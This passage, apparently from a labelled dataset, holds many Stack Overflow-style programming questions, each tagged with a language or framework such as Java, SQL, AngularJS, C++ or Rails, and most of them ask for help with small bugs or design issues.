files without ending my server and keep the possibility to write more of them. how can i do that,python
how to get a ng-model value from another controller in angularjs  i want to access the value of the model <code>date</code> from another controller  and make a request passing this value in a json object. but this <code>ng-model</code> is in the scope of the controller <code>dateparsectrl</code> and this <code>controller</code> is inside another controller called <code>maincontroller</code>. how can i access this value and pass to a json object from <code>maincontroller</code>  ps: i just want get <code>date</code> value from <code>maincontroller</code>.    index.html   <pre><code>&lt;body ng-controller= maincontroller &gt;     &lt;datepicker date-format= dd/mm/yyyy  selector= form-control                  ng-controller= dateparsercontroller &gt;          &lt;input type= text  uib-datepicker-popup= {{ format }}                  ng-model= date  ng-blur= getsomething() /&gt;      &lt;/datepicker&gt; &lt;/body&gt; </code></pre>   date-parse-ctrl.js   <pre><code>angular.module( myapp ) .controller( dateparserctrl   function($scope  uibdateparser){     $scope.format =  dd/mm/yyyy ;     $scope.date = new date(); }); </code></pre>   maincontroller   <pre><code>angular.module( myapp ) .controller( maincontroller    function($scope  $http){     var date = $scope.date;     $scope.getsomething = function(){         $http({             method:  post               url:  url               data: {date: date}         })     } }); </code></pre>,angularjs
html - how to show a dropdown list when a word is clicked  i want to do something like this:    <a href= https://i.stack.imgur.com/gsudn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gsudn.png  alt= enter image description here ></a>    when i click it  i want a dropdown list to show under it like this:    <a href= https://i.stack.imgur.com/paads.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/paads.png  alt= enter image description here ></a>    is there a way to do it  hope you guys get what im trying to say. thanks,html
flatten count with one to many relationship  i have two tables  <code>person</code> and <code>hobby</code>  with a one to many relationship.     <pre><code>| id | person |     | id | personid | hobby      |    |----|--------|     |----|----------|------------| | 1  | bob    |     | 1  | 1        | skiing     | | 2  | mike   |     | 2  | 2        | biking     |   | 3  | frank  |     | 3  | 3        | skiing     |                     | 4  | 1        | numerology |                     | 5  | 2        | witchcraft |                     | 6  | 3        | stamps     | </code></pre>   i want to produce a table that includes a single count for every person who likes skiing or stamps. something like this:   <pre><code>| person | count | |--------|-------| | bob    | 1     | | frank  | 1     | </code></pre>   what would a working sql query look like,sql
could anyone correct my code  using method and arrays  i want to know what is wrong with my code.    i have to use overloading in <code>getbonus()</code> so i convert integer 1 to double 1.0  but this program says   <pre><code>symbol:   method getbonus(int)   location: class bouns </code></pre>   and   <pre><code>symbol:   method getbonus(double)   location: class bouns </code></pre>   why     this code is homework  and the homework question is below:   <blockquote>    q4. a company need to write a program calculates and displays bonus   amounts to pay  various types of employees. there are two separate   departments  numbered 1 and 2. department 1 employees are get 20%   bonus if they work more than 10 years in the  company  otherwise they   get nothing. in department 2 employees get a bonus based on the   employee type:        a. employee work as part-time get bonus 250$ b. employee work as   full-time get bonus 700$.        assume the employee type will be read from user where ‘p’ for   part-time and ‘f’ for full-time.        write a set of two overloaded methods called getbonus() that works   with the program.  </blockquote>  <pre><code>import java.util.scanner; public class bouns {     final static int dept1_emp = 250;     final static int dept2_emp = 500;     static scanner read = new scanner(system.in);      public static void main(string[] args) {         double [] salary_dept1=new double[dept1_emp];         double [] salary_dept2=new double[dept2_emp];         fillarray(salary_dept1);         boolean done = false;         double d ;         char yorn;         do {             fillarray(salary_dept1); system.out.println( enter department:  );             int dept = read.nextint();              if (dept == 1) {                 getbonus((double)dept);// here is the problem             }             else if ( dept == 2)                 getbonus(dept);             system.out.println( do you want to continue   y/n  );             yorn = read.next.charat(0);             if (yorn ==  n )                 done = true;         } while (!done);     }      public static void fillarray(double[] a) {          for (int i = 0; i &lt; a.length; i++)             a[i] = read.nextdouble();      }     public static void fillarray2(double[] b) {          for (int i = 0; i &lt; a.length; i++)             b[i]= read.nextdouble();      }     public static void getbounds(double x) {         int num;         for (int i = 1; i &lt;= dept1_emp; i++) {             system.out.print( how many years have the employee no.  +k);             num = read.next();             if (num &gt; 10)                 salary_dept1[k] = salary_dept1[k] + (20/100)*salary_dept1[k];         }     }     public static void getbounds(int x) {         char forp;         for (int i = 1; i &lt;= dept2_emp; i++) {             system.out.print( the empolyee number  +i+  if s/he works full-time or part=time (f/p)  );             forp = read.next.charat(0);             if (forp ==  f ) {                 salary_dept2 [i] = salary_dept2[i]+700;             }             else if (forp ==  p ){                 salary_dept2 [i] = salary_dept2[i]+250;             }         }     } } </code></pre>,java
how to create gui programs with code::blocks  previously i used visual studio for my c++ programmings. but some cost effects i had to change my ide  so i chose code::clocks (12.11). but i can t find a way to develop gui applications with c::b. is there any way to develop guis with c::b,c++
how to render the same view for all actions in the same controller   i want to render the same view in the controller for all my actions. for instance  i have:   <pre><code>class foocontroller    def action1     #action1 code   end    # [...]    def actionn     #actionn code   end   end </code></pre>   and then i want that all actions render <code>generic_page.html</code>.    i tried with:   <pre><code>... after_filter :render_generic  ... private    def render_generic     render  generic_page    end </code></pre>   but <code>render</code> method is being called before <code>after_filter</code> and i m getting a <code>template missing</code> error because it isn t rendering the correct template. does anyone know a simple solution for that problem,ruby-on-rails
js  selecting a div s child  if i have   <pre><code>function onmousein (elem) {             elem.style.display=  block ;         }   &lt;div onmouseover= onmousein (this.xxxxxxx) &gt;     &lt;div class= classname  style= display:none &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   what do i have to write in place of xxxxxxx to select the div s child  classname    (note: there are a lot of the first div  and i have to select only the one where the mouse just got over.,javascript
c# referring to object variable with string  hi in actionscript i may refer to a variable within an object thusly   <pre><code>objectname[ variablename ] =  some value ; </code></pre>   how would i do the equivalent in c#    thanks,c#
problems trying to assign **varname to *varname[]. c++  in my .h  i have a variable  <code>texture ** skyboxtextures</code>. i assign some texture pointers in one method  and use them right away:   <pre><code>texture *skt[] = {      tleft      tright      tfront      tback      tup      tdown }; skyboxtextures = skt;  for(int i = 0; i &lt; 6; i++) {     skyboxtextures[i]-&gt;load(); } </code></pre>   then later in another method i try to use the textures again.   <pre><code>texture *skt[] = skyboxtextures;  // render the front quad skyboxtextures[0]-&gt;activate(); </code></pre>   this is my issue i cannot access my objects any more. this will not compile because of this error:   <pre><code>error c2440:  initializing  : cannot convert from  texture **  to  texture *[]  </code></pre>   if i comment out the line <code>texture *skt[] = skyboxtextures;</code>  all i get are invalid texture pointers.,c++
how to upgrade rails app from 2.2.2 to 2.3.11   i have installed rails.2.3.11 and run rake rails:upgrade.    do i need to modify anymore files,ruby-on-rails
swap show/hide behaviors for multiple elements individually  i ve read previous questions asked about using jquery to show/hide multiple elements individually  but i haven t been able to modify the code that worked for those users so that it works for my case.     here s the breakdown:   <ul> <li>page will have multiple blog posts </li> <li>each blog post will have default behavior of showing post excerpt with a  show more  link</li> <li>when the  show more  link of a single post is clicked  the post excerpt should be hidden and the full post content should appear with a  show less  link at the bottom (should only occur on single post instance  so i ve setup my code to include a custom id but maybe i placed it in the wrong spot )</li> <li>when the  show less  link of a single post is clicked  the full post content should be hidden and the post excerpt should reappear with the  show more  link at the bottom (again  should only occur on single post instance  not affect all posts at the same time)</li> </ul>   the problem:  the actual result from the code below ends up doing the following:   <ul> <li>swaps the post excerpt for the full content  as expected  when the  show more  link is clicked</li> <li>does not swap the full content for the post excerpt when the  show less  link is clicked</li> </ul>   any idea why  i m not great with jquery; i tend to learn code best when i hack around with existing code examples  so i m still struggling to understand what s happening to cause this behavior instead of the expected behavior.    the actual html of the post index uses a lot of cms template-specific code that may not make sense if i include it  so i ve replaced it with the bare minimum of what the generated content would look like. i ve added the jquery and html i ve setup for my testing purposes below...   <pre><code>&lt;html&gt;  &lt;head&gt;    &lt;script src= http://code.jquery.com/jquery-latest.js &gt;&lt;/script&gt;  &lt;/head&gt; &lt;body&gt;      &lt;script type= text/javascript &gt;     $(document).ready(function(){      $( #full-3434 ).hide();       $( .show-more ).click(function () {             var id = $(this).attr( id );         $( #excerpt-  + id).hide();          $( #full-  + id).show();      });       $( .show-less ).click(function () {             var id = $(this).attr( id );         $( #full-  + id).hide();          $( #excerpt-  + id).show();      });     });     &lt;/script&gt;  &lt;div class= entry-body &gt;     &lt;div class= excerpt  id= excerpt-3434 &gt;         &lt;p&gt;post excerpt here. this will disappear when the  show more           link is clicked and the full post content will display instead.&lt;/p&gt;         &lt;p&gt;&lt;a href= #  class= show-more  id= 3434 &gt;show more&lt;/a&gt;&lt;/p&gt;     &lt;/div&gt;      &lt;div class= full  id= full-3434 &gt;         &lt;p&gt;full post content here. this will be hidden by default. when          the  show less  link is clicked  the full post content will          disappear and post excerpt will reappear.&lt;/p&gt;          &lt;p&gt;&lt;a href= #  class= show-less  id= 3434 &gt;show less&lt;/a&gt;&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   any and all help appreciated! :d,jquery
sql inner join  modify table  does affect a join statement with  the table itself     like    <pre><code>select customers.customername  orders.orderid from customers inner join orders on customers.customerid=orders.customerid order by customers.customername; </code></pre>,sql
loop until a variable is equal to or less than a certain amount  how do i make this program loop until enemy1hp reaches <code>&gt;=0</code>      currently  this program just ends when i choose my move against the enemy but i m trying to do it so that i keep attacking the enemy until it reaches 0.   <pre><code>public static void fight1()throws ioexception{     bufferedreader br = new bufferedreader(new inputstreamreader(system.in));     story.adanger();     br.readline();     string enemy1 =  iron leathered boar ;     int enemy1hp = 20;     int playerdmg = 3;     string[] weaponname = {  fist };     int[] weapondamage = { 3 6 };     system.out.println( you encounter an  +enemy1+ \n enemy hp:  +enemy1hp);     fight.battlemenu();             int move = short.parseshort(br.readline());             switch(move){                 case 1:                     system.out.println( you attacked  +enemy1+  with your  +weaponname[0]+  for  +weapondamage[0]+  of its hp );                     fight.attack(enemy1hp playerdmg);                 case 2:                     break;                 default:                     break;             }             } public static int attack(int enemy1hp int playerdmg){     int remainingehp;     remainingehp = enemy1hp-playerdmg;     system.out.println( enemy hp:  +remainingehp);     if(enemy1hp &lt;= 0){             system.out.println( victory );             system.out.println( (press enter to continue) );         }     return remainingehp;  } </code></pre>,java
was the  developer pack  originally called sdk   quick question - is what microsoft now calls the  microsoft .net framework 4.5.2 developer pack  what was historically called the sdk,.net
uipresentationcontroller -- animate alongside interactive transition   i ve created a uipresentationcontroller that adds a simple <code>tintadjustmentview</code> to the presentationcontroller s <code>containerview</code> like so:   <pre><code>- (void)presentationtransitionwillbegin {  uiview* containerview = [self containerview]; [containerview insertsubview:self.tintadjustmentview atindex:0]; self.tintadjustmentview.frame = containerview.bounds; self.tintadjustmentview.alpha = 0.f;  id&lt;uiviewcontrollertransitioncoordinator&gt; coordinator = [[self presentedviewcontroller] transitioncoordinator]; if (coordinator) {     [coordinator animatealongsidetransition:^(id&lt;uiviewcontrollertransitioncoordinatorcontext&gt;context) {         [self.tintadjustmentview setalpha:1.0];     } completion:nil]; } else {     [self.tintadjustmentview setalpha:1.0]; } } </code></pre>   when i use a basic <code>&lt;uiviewcontrolleranimatedtransitioning&gt;</code> object  this works as desired -- the adjustment view updates the alpha while animated.    now  i ve also started using a custom <code>&lt;uiviewcontrollerinteractivetransitioning&gt;</code> object to power an interactive transition. note this is not a <code>uipercentdriveninteractiontransition</code> object.    unfortunately  the <code>tintadjustmentview</code> does not animate when i use the interactive transition. how can i animate the view along with the interactive transition,ios
joining two tables - multiple columns to single column <pre><code>table 1 ------- lang_value lang_desc  table 2 ------- empid lang1 lang2 lang3 lang4 lang5 lang6 </code></pre>   it looks like as below:   <pre><code>table 1 -------  langvalue langdesc ------------------- span      spanish germ      german  table 2 ------- empid lang1 lang2 lang3 lang4 lang5 lang6 ----------------------------------------- 1     span  null  null  null  null  null 2     germ  span  null  null  null  null 3     germ  null  null  null  null  null </code></pre>   expected result:   <pre><code>empid lang1 lang2 lang3 lang4 lang5 lang6 ----------------------------------------- 1     spanish null ... 2     german  spanish null... 3     german  null... </code></pre>   how to do this in sql query,sql
how to make a css menu  selected  with hover image gallery effect   i m trying to figure out how to make the first navigation menu option a  <strong>selected</strong>  class that displays the image on the right automatically (by default) when you get to the web page.     then when you hover your mouse over the other links it still displays the other images properly. right now  you don t see the first image until you move your mouse over <strong> shirts </strong> on the menu.    link: <a href= http://avisuals.web.fc2.com/readymade.html  rel= nofollow noreferrer >http://avisuals.web.fc2.com/readymade.html</a>    any css tips or suggestions      <img src= https://i.stack.imgur.com/trqve.jpg  alt= screenshot >,css
if i declare a  #define defint32 unsigned int    can i use sizeof(defint32) operator on it   if i declare a macro for unisgned int as below     <pre><code>#define defint32 unsigned int </code></pre>   can i use sizeof(defint32),c
more than one belongs_to  i’m new to rails and i’ve been reading michael hartl’s tutorial and i am not sure if i’m doing this correctly. i have users  posts  and categories:    users can create posts and categories    a post can be assigned to only one category.    currently  when the user creates a post they type in the category (let’s just say the category will always exist in the database) and from there it looks up the id of the category and passes that along to the post creation. this is what i’m running to create the post and assign it to a category in my post_controller:   <pre><code>category_id = category.find_by_name(post_params[:category]) @post = current_user.posts.build(title: post_params[:title]  content: post_params[:content]  category_id: category.id) </code></pre>   my question is: is this the proper way to enter data with two belong_to’s  i’ve dug around and i can’t find a simple answer to this. to me it seems that passing a category id like this is not secure but i don’t know of another way to do this. here’s my basic model information (just the belong_to’s  has_many  etc). please let me know if you need more:   <pre><code>class user &lt; activerecord::base     attr_accessible :username  :email  :password  :password_confirmation     has_secure_password      has_many :posts     has_many :categories  class post &lt; activerecord::base     attr_accessible  :title   :content  :category_id     belongs_to :user     belongs_to :category  class category &lt; activerecord::base     attr_accessible :name     belongs_to :users     has_many :posts     validates :name  presence: true  uniqueness: true  length: {maximum:30}     validates :user_id  presence: true </code></pre>,ruby-on-rails
how do i parse a text file in objective-c   i need to parse a text file  one line at a time. also  is there eof in objective-c,iphone
web browser control in stress test in c#  i am a tester and i have created a simple application to load a web page using web browser control in c#(.net version = 3.5). here is my code   <pre><code>public class webbrowserclass {   private  system.windows.forms.webbrowser mybrowser = new system.windows.forms.webbrowser();   public static int counter = 0;     public webbrowserclass(int w  int h)     {         mybrowser.scripterrorssuppressed = false;         mybrowser.documentcompleted += new webbrowserdocumentcompletedeventhandler(mybrowser_documentcompleted);         mybrowser.width = w;         mybrowser.height = h;     }     public void navigate(string myurl)     {         mybrowser.navigate(myurl);     }       private void mybrowser_documentcompleted(object sender  webbrowserdocumentcompletedeventargs e)     {          using (bitmap bitmap = new bitmap(mybrowser.width  mybrowser.height))         {              system.threading.thread.sleep(1000);               mybrowser.drawtobitmap(bitmap  new rectangle(0  0  mybrowser.width  mybrowser.height));             using (memorystream stream = new memorystream())             {                 bitmap.save(stream  system.drawing.imaging.imageformat.png);                 byte[] bytes = stream.toarray();                  if (!directory.exists( c:\\anonymousstresstest ))                     directory.createdirectory( c:\\anonymousstresstest );                 bitmap.save( c:\\anonymousstresstest\\  + datetime.now.toshortdatestring().replace( /    - ) +     + datetime.now.tolongtimestring().replace( :      ) +  .png );                 counter++;             }         }     }     } </code></pre>   webbrowserclass works fine when i create its 10-20 object but when i heavily use the class up to 500 objects problem starts appear. at start stress test works fine but in the middle or near to end  this message starts appearing  navigation to the webpage was cancelled .     when  url of a webpage is given it get load and  re-directed to another webpage.    please note that the firewall is off on server as well as on client machine. this stress test application was ran on client machine.    how can i avoid  navigation to the webpage was cancelled .,c#
show data with angularjs after ajax call  i have a angularjs controller named  filtercontroller  in my application .  it s the controller that the user use to filter some data. when the user click on search  i call a mvc method that return an object with the data. this work well  but the problem is to show the data that i retrive    how can i load this data in a new controller that show this data     in the model i have this class   <pre><code>public class dpimodel {     public list&lt;dpi&gt; listdpi{ get; set; } } </code></pre>   then the data are contained in a json that have this class the html is already loaded(because search is an ajax call) the html is like that   <pre><code>&lt;div ng-controller= dpicontroller &gt; &lt;div ng-repeat= item in listdpi &gt;     {{item.name}} &lt;/div&gt; </code></pre>   name is a property of dpi class,angularjs
input day month year and store in a seperate structure  currently i am working on a task that need me to store the date in to structure(day month year) but i dont know how to seperate it when user enter all in one line   <pre><code>struct date {  int day; int month; int year; }hire_date;  int main() {  cout&lt;&lt; enter employee hired date(dd/mm/yyyy) : ;  cin&gt;&gt;hire_date.day; cin&gt;&gt;hire_date.month; cin&gt;&gt;hire_date.year;` } </code></pre>,c++
get all values that are the same across records in sql  i need to get a list of all values that are the same across all records using sql.   <pre><code>select     record      value from record r inner join value v     on v.recordid = r.recordid  record | value 1      | a 1      | b 1      | c 2      | a 2      | b 3      | a 3      | b 3      | c 3      | d </code></pre>   i need the results to be:   <pre><code>value a b </code></pre>,sql
how to implement a do while loop on a promise on angularjs  i m quite stuck in the development of an app right now. what i want to do is upon submission by ng-click the following task will be performed:   <ol> <li>generate a 5 digit random number.</li> <li>this random number will then be validated in the database if exist.</li> <li>if it exist it will generate another number which will then be validated again until such time that the value returns to zero.</li> </ol>   for number 1 i already have this:   <pre><code>  var grandomnum = function(){         var snumrand = math.floor((math.random()*10000)+1);         var numrand = snumrand.tostring();         var str_f = numrand.length;          if(str_f == 1){             str_final =  0000  + numrand;         } else if(str_f == 2){             str_final =  000  + numrand;         } else if(str_f == 3){             str_final =  00  + numrand;         } else if(str_f == 4){             str_final =  0  + numrand;         } else {             str_final = numrand;         }         return str_final;    } </code></pre>   for number 2   <pre><code>var validatarandnum = function(pdata){     return $http.get( api/cnttc/ +pdata).               success(function(data){                 return data.tc_count;               }); } </code></pre>   for number 3   <pre><code>do{     var pdata = grandomnum();     var ifvalid = validatarandnum(pdata); } while(ifvalid &lt; 0); </code></pre>   here is what it looks like on my scope function   <pre><code>$scope.ok = function(){     do{         var pdata = grandomnum();         var ifvalid = validatarandnum(pdata);     } while(ifvalid &lt; 0);  } </code></pre>   when i tried to verify the value of ifvalid all i m getting is undefined but when i clicked again the value will show up but it was from the last clicked value. i tried to implement a promise but got stucked on how to implement it inside a promise. if you can provide a code that will do just that it will be great.,angularjs
error occurs at second run  im developing a little navigation based application. part of the programe  it passes cgpoint value to its superclass. there is no problem on the first attempt but error always occurs when re run the same process right after first execution. is this because about memory management  i just dont get what i have done wrong.    delegation from child   <pre><code>[self.delegate sendposition:position]; </code></pre>   method on rootclass   <pre><code>-(void) sendposition:(cgpoint)position{          dlabel.text = [nsstring stringwithformat:@ %f  position.x]; } </code></pre>,iphone
revise the permission modal alert to specify why the app is requesting access to the users location  we need the user location when user some action perform why applereview team is saying like this <a href= https://i.stack.imgur.com/wmq5w.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wmq5w.jpg  alt= enter image description here ></a>    <a href= https://i.stack.imgur.com/imial.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/imial.jpg  alt= enter image description here ></a>,ios
windows installer 3.1  visual studio 2005    i have developed an application using c#. i have created an setup application  and included the .net framework 2.0 on the cd.    i am not using <a href= http://en.wikipedia.org/wiki/clickonce  rel= nofollow noreferrer >clickonce</a>.    however  one of our clients is complaining that they cannot install as it s asking  for windows installer 3.1. however  i didn t exclude that from the setup project.    to do a complete test i decided to install some vmware that didn t have the .net framework or windows installer 3.1 (just a skeleton windows xp). the application installed ok.    what is the windows installer 3.1  and why do i need it,c#
rails date_select values always 0  i ve been trying for a while but i can t seem to access date_select values.     the view looks like this:    <pre><code>&lt;%= form_for(@product) do |form| %&gt;    ...    &lt;%= form.label :release_date %&gt;   &lt;%= date_select :@product  :release_date %&gt;    ... </code></pre>   when the form is submitted i can see that the values are definitely there as the post contains:   <pre><code>parameters: ...  product =&gt; {  @product =&gt;{ release_date(1i) =&gt; 2016    release_date(2i) =&gt; 4    release_date(3i) =&gt; 13 } ... } </code></pre>   from the answer to a similar question; <a href= https://stackoverflow.com/questions/13605598/how-to-get-a-date-from-date-select-or-select-date-in-rails >how to get a date from date_select or select_date in rails </a>  it would seem that the correct code to get the value from the key  release_date(1i)  should be something like:    <pre><code>product = params[:product]  date = product[ release_date(1i) ].to_i </code></pre>   however the value for date is always 0.     any advice would be appreciated.,ruby-on-rails
position in css  what is difference between relative position and absolute position is css eg .style { position:relative; }    .style { position:absolute; },css
css declaration override <pre><code>#header {    width:100%;    height:200px; }  #theme.theme1 .handle {    background:blue;  }   #header.noback {     background:none;    } </code></pre>   why doesn t the last declaration override here       <a href= http://jsfiddle.net/5vnas  rel= nofollow >http://jsfiddle.net/5vnas</a>,css
how are local notifications handled for an app executing in the background after calling beginbackgroundtaskwithexpirationhandler   if a local notification triggers while an app is executing in the 10 minute background window after calling beginbackgroundtaskwithexpirationhandler:  then is the notification presented to the user or delivered to the app,ios
how nsmutableset added object to keep unique   when we use mutableset to add a object  to keep object unique  achieve <code>-(nsuinteger)hash</code> and <code>-(bool)isequal:(id)object</code> method  i don t know when the two method will be called,objective-c
search for file and read from it dependent on input in c  i m stuck as to why the below doesn t work...   <blockquote>    if filename entered matches -> display file        if filename entered does not match file then exit with error code.   </blockquote>   currently no matter what i input it always displays the file...   <pre><code>int c; int str; file *file; int main(void);     fprintf(stdout   please input a file you would like to retrieve\n );     str = getchar();      if(str =  success.txt )     {         file = fopen( success.txt    r );        if (file) {             while ((c = getc(file)) != eof)                 putchar(c);                 fclose(file); }     } else {         fprintf(stderr   the file you have requested does not exist\n );     } </code></pre>   i ve also tried using fscanf for the exact same result. can anyone point me in the right direction     could i use something like below    <pre><code>char* path =  success.txt ;  int rval;  /* check file existence. */  rval = access (path  f_ok);  if (rval == 0)  return 0 ;      else { if (errno == enoent)      { fprintf (stderr   %s does not exist program will now exit   path);    exit(0); } } </code></pre>   thank you,c
issues in invoking getrunningappprocesses() on android 5.1.1  i try to invoke getrunningappprocesses() on android 5.1.1 but it return empty list or a list which only contain my application.but the same codes are running perfectly on android 5.1 or on pre version.    do anyone know the reason  thanks!   <pre><code>am = (activitymanager) getcontext().getsystemservice(context.activity_service); list&lt;runningappprocessinfo&gt; list = am.getrunningappprocesses(); </code></pre>,android
deprecated errors while setting up built2go car dealer on xampp  hi everyone i m trying to set up built2go car dealer on my website and even tho i have followed all the instructions correctly to setup config.php ... i keep receiving the following errors on index.php when trying to install built2go car dealer ... how do i resolve them    <pre><code>deprecated: assigning the return value of new by reference is deprecated in c:\xampp\htdocs\speedyautos\install.php on line 185  deprecated: assigning the return value of new by reference is deprecated in c:\xampp\htdocs\speedyautos\admincp\func.php on line 434  deprecated: assigning the return value of new by reference is deprecated in c:\xampp\htdocs\speedyautos\admincp\system_cls.php on line 171  deprecated: assigning the return value of new by reference is deprecated in c:\xampp\htdocs\speedyautos\admincp\system_cls.php on line 173  deprecated: function eregi() is deprecated in c:\xampp\htdocs\speedyautos\admincp\system_cls.php on line 152  deprecated: function eregi() is deprecated in c:\xampp\htdocs\speedyautos\admincp\system_cls.php on line 177  deprecated: function eregi() is deprecated in c:\xampp\htdocs\speedyautos\admincp\func.php on line 447 </code></pre>   any help please,php
updating a nsmutablearray in new viewcontroller that s pushed onto the stack  i m new to programming and some oop concepts and am not sure what is the  right  way to do something. basically what i have is an nsmutablearray in my mainviewcontroller.   <pre><code>mainviewcontroller: uitableviewcontroller   @property (nonatomic  retain) nsmutablearray *data; </code></pre>   a plus button can be pressed to add an item to the table  or if an already existing row is selected  the current item can be edited.  i m not sure what the best way to structure my detailviewcontroller since the detailviewcontroller can be presented from either the plus button or a table row selection.  do i set a flag in detailviewcontroller that says which method presented the detailviewcontroller so in my save method  i either insert the object (if the user pressed plus)  or replace the object at the current index (if the user selected a row and i passed the index to the detailviewcontroller)   it seems kind of clunky to do it that way and was wondering what a better way to do something simple like that would be.  thanks!,iphone
word occurrence method not counting  i have a method that should count the occurrence of a word in a sentence and return the results. for some reason it s not counting. the code always returns <code>0</code>.     here s the code.   <pre><code>public static int countoccurance (string word  string sentence) { int count = 0; for (int i = 0; i != sentence.length()-word.length()-2; i++) {     if (sentence.substring(i  i+word.length()-1).equalsignorecase(word)) {         count++;     } } return count; } </code></pre>   can anyone tell me what s wrong with my method,java
where do i put my code in rails web app  where is the correct place to put the following logic within a rails web app     from a rake task or controller (i haven t decided yet)  i want to generate and save into the database a load of a particular model. this generation logic will be quite complex and i wanted it unit testable. given all this  it feels like rails wants me to put this code into the model class that is of the type my code is generating but that feels weird as it is very use case specific.,ruby-on-rails
sql calculating percentage and list of top ten regions  i need help. i have these tables.   <ol> <li> patient (patienid  names  gender  address  contact  occupation  doctorid  userid  registrarid) </li> <li> diagnosis (diagnosisid  provissional_diagnosis  alternative_diagnosis  definitive_diagnosis  patientid  doctorid) </li> <li> treatment (treatmeni  medicine  dosage  type  councelling  diagnosisid) </li> </ol>   so i want to write the following queries    <ol> <li>what is the percentage of patients that have previously suffered from  malaria  were treated for malaria in the future  </li> <li>list the top 10 regions with the highest number of malaria cases. </li> </ol>,sql
how to access all the colors from within all the color arrays   <code>[{name:  apple   color:[ green    red ]}  {name:  banana   color:[ yellow ]}]</code>.  using for loop     code that i tried:  <code>for (i = 0; i &lt; color.length; i++) { return color.length; }</code>,javascript
calling a function from within another function   i want to use a function from another class within a new function which i will call from main.  i am trying to do this as below  but get an error:    <blockquote>    error the name  class1  does not exist in the current context.  </blockquote>   actually  in my code i use different names  but its just to illustrate the structure and to make it easier to read for you.   <pre><code>public class class1 {           public static int[] function1()     {        // code to return value     } }   public class class2 {        public static int function2()       {          int[] variable = class1.function1();          //other code using function1 value       } } </code></pre>,c#
passing values from one form to another form in c#  i have 2 forms.    i do something wrong when i pass text from form 2 to form 1.    my textbox2 from form 2 doesn t change in my initial form1(are created another form1) when i click on the button  how can i solve it  i want to have only 2 forms  no more.    <img src= https://i.stack.imgur.com/fzekc.png  alt= form1 >    <img src= https://i.stack.imgur.com/fhubu.png  alt= form2 >    code:   <pre><code>public partial class form1 : form {     private string vas;      public form1()     {         initializecomponent();     }      public string backsend     {         get { return vas; }         set {vas = value; }     }      private void button1_click(object sender  eventargs e)     {         form2 f2 = new form2();         f2.passvalue = textbox1.text;         f2.show();     } }  public partial class form2 : form {     private string mn;      public string passvalue     {         get { return mn; }         set { mn = value; }     }      public form2()     {         initializecomponent();     }      private void form2_load(object sender  eventargs e)     {         textbox2.text = mn;     }      private void button2_click(object sender  eventargs e)     {//click for clear textbox1 from form 2.         textbox2.clear();     }      private void button1_click(object sender  eventargs e)     {         form1 f1 = new form1(); i don t understand why is created another form but not variable         f1.backsend = textbox2.text;         f1.textbox2.text = f1.backsend; //no exchange in my first form 1         messagebox.show(f1.textbox2.text);//it s correct     } } </code></pre>,c#
setting the value for variables in a method just once  i have this method:   <pre><code>bool cdemopickerdlg::isstudenttalk(cstring strassignment) {     bool bstudenttalk = false;      cstring strtalkmain  strtalkclass;      if (theapp.usetranslationini())     {         strtalkmain = theapp.getsmmethod(_t( ids_str_history_talk_main ));         strtalkclass = theapp.getsmmethod(_t( ids_str_history_talk_aux ));     }     else     {         strtalkmain.loadstring(ids_str_history_talk_main);         strtalkclass.loadstring(ids_str_history_talk_aux);     }     int italkmainlen = strtalkmain.getlength();     int italkclasslen = strtalkclass.getlength();      if (strassignment.left(italkmainlen) == strtalkmain ||         strassignment.left(italkclasslen) == strtalkclass)     {         bstudenttalk = true;     }      return bstudenttalk; } </code></pre>   it is called multiple times. <strong>without</strong> added  member variables  to the class to cache values is there any other way to create the values for the two <code>cstring</code> and <code>int</code> values just the once  as they will not change for the duration of the program.    the method above is <code>static</code>. i know about assigning a value to a static variable but i understand that can only be done <strong>once</strong> at the time of declaration. have i miss-understood that,c++
python: how to check an xml file every x minutes for new entries  but not alert on previously alerted entries  i m using urllib2 and elementtree to monitor an xml file for new entries  and <a href= https://pushover.net/  rel= nofollow >pushover</a> to send push notifications every time a new entry is detected. entries exist in the xml file for anywhere from 30 min to 4 hours. the script runs every 5 minutes. what is the best way to make the script only alert me on the <strong>new</strong> entires and not the same entries every 5 minutes,python
what is wrong with this part of c++ code  <pre><code>int f =0;     std::cout &lt;&lt;   do you want to use 1. component y or n   &lt;&lt; std::endl;     std::cin &gt;&gt;f;     if(f ==  y  || f == n ){         if (f == y ){             this-&gt;decisionvector[0] = 1;         }else              this-&gt;decisionvector[0] = 0;      }      std::cout &lt;&lt;   do you want to use 2. component y or n   &lt;&lt; std::endl;     std::cin &gt;&gt;f;     if(f ==  y  || f== n ){         if (f == y ){             this-&gt;decisionvector[1] = 2;         }else              this-&gt;decisionvector[1] = 0;         f= 0;     }     std::cin.clear();      std::cout &lt;&lt;   do you want to use 3. component y or n   &lt;&lt; std::endl;     std::cin &gt;&gt;f;     if(f ==  y  || f == n ){         if (f == y ){             this-&gt;decisionvector[2] = 4;         }else              this-&gt;decisionvector[2] = 0;         f= 0;     }     std::cin.clear();      std::cout &lt;&lt;   do you want to use 4. component y or n   &lt;&lt; std::endl;     std::cin &gt;&gt;f;     if(f ==  y  || f == n ){         if (f == y ){             this-&gt;decisionvector[3] = 8;         }else              this-&gt;decisionvector[3] = 0;         f= 0;     } </code></pre>   why i can set f only in the first if statement the program doesn t stop at the others,c++
user delete their own image from folder  i have made an image gallery where users can login and upload images which will be uploaded to the  data  folder. i have also added a delete button. but the problem is any user can login and delete any image when they click the delete button. how can i make it so that only users who upload their own image are able to delete their own image only and no one else s,asp.net
java calculator with decimal numbers error   i was trying to create a calculator with java by using eclipse. i create this code here:   <pre><code>package ozan;  import java.util.scanner;  class apples {     public static void main(string args[]) {         scanner ozan = new scanner(system.in);         double fnum  snum  answer;         system.out.println( enter first number:  );         fnum = ozan.nextdouble();         system.out.println( enter second number:  );         snum = ozan.nextdouble();         answer = fnum + snum;         system.out.println(answer);     } } </code></pre>   whenever i click run its ok. my program fully works with the nondecimal numbers:  1 122 436     but when i enter a deciaml number just like  1.1  or  5.5  it stops and give an error.    <a href= http://imageshack.com/a/img850/4390/r070.png  rel= nofollow >image here</a>    what can i do to fix it,java
class method example in objective -c  can anyone tell me how to create a class method and using that how can we share an object data in all classes......,iphone
